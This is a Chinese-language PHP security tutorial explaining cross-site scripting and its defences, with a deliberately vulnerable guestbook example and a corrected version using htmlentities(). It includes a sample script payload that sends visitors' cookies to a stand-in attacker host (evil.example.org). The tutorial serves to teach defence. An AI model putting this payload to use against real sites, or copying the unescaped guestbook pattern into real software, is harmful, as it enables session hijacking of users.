在媒体的帮助下,跨站脚本(XSS)成为了大家关注的焦点,当然它是绝对应当关注的。XSS 是 web 应用中最常见的安全隐患,许多流行的开放源代码的 PHP 应用程序受到 XSS 隐患的困扰。
XSS 攻击发生在下面的情况下:
对于可获得用户信任的特定站点。
用户没有必要用很高的等级信任任何网站,但是浏览器需要。例如,当浏览器在请求中发送 cookie,则意味着信任目标网站。对于不同的网站,用户可能有不同的浏览行为或者不同的安全防范等级。
通常包含显示外部数据的网站。
有高风险的应用包含论坛、web 邮件以及任何会显示出来的聚合内容(如 RSS feeds)。
攻击者可控制的内容注入。
当外部数据没有很好的过滤时,可能会显示攻击者需要的内容。这意味着攻击者可以更改服务器上的代码。
这是如何发生的?如果显示一个从外部获得的没有很好过滤的内容,则会产生 XSS 安全隐患。外来数据不仅限于客户端的数据。同时也包含显示在 web 邮件上的电子邮件、广告条、聚合 blog 以及类似的东西。任何从外部获得的,不在代码中的信息都是外部数据,这意味着多数数据都是外部数据。
考虑下面这个最简单的留言版:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
这个留言版在用户输入的内容后添加 <br /> 然后添加到一个文件,并显示当前文件内容。
设想如果用户输入了下面的信息:
<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>
下一个开启了 JavaScript 的用户访问这个留言版时将被重定向到 evil.example.org,同时任何关于当前网站的 cookie 信息都被包含在 URL 的表达式中。
当然,一个真正的攻击者不会缺少创造力或者 JavaScript 的知识。如果可能请提供一些更好的例子(更邪恶一点?)。
有什么可以做的?XSS 事实上非常容易防范。困难来自于允许外部输入的(如其他用户) HTML 或者客户端脚本不受限制的显示,但是关于这个的解决方案实现起来也不是非常困难。下面的方法可降低 XSS 的风险:
过滤所有外部数据。
如同之前所提到的,数据过滤是最重要的方法。通过验证所有进出应用程序的外部数据,可以降低大部分 XSS 隐患。
使用现有函数。
让 PHP 协助完成过滤逻辑。如函数 htmlentities(),strip_tags(),
和 utf8_decode() 是很有用的。避免重写 PHP 已经拥有的函数。不光是 PHP 函数更加快速,而且它们经过更多的测试,带来隐患的可能更小。
使用白名单。
假设数据不合法直到可以证明它合法。这包含验证长度以及确定只含有合法字符。例如,如果用户输入了英文姓名,只有字母和空格是允许的。发生错误时给出适当的提示。而名字 O'Reilly 和 Berners-Lee 会被认为不合法,修补这个问题非常简单:向白名单中添加两个字符。拒绝合法的数据总是比接受非法的数据要强。
使用严格的名字转换。
如同之前所提到的,名字转换可以帮助开发者容易的区分过滤的和未过滤的数据。让事情变得更容易和清晰对于开发者来说非常重要。缺乏清晰度会引起混乱,这将带来隐患。
更加安全的留言版如下所示:
<form>
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$message = htmlentities($_GET['message']);
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "$message<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
仅仅添加了 htmlentities()后,留言版变得更加安全。不应当认为这是彻底安全的,但是这是最简单的方法来提供适当级别的保护。当然,强烈建议遵循之前讨论的最好的降低 XSS 风险的方法。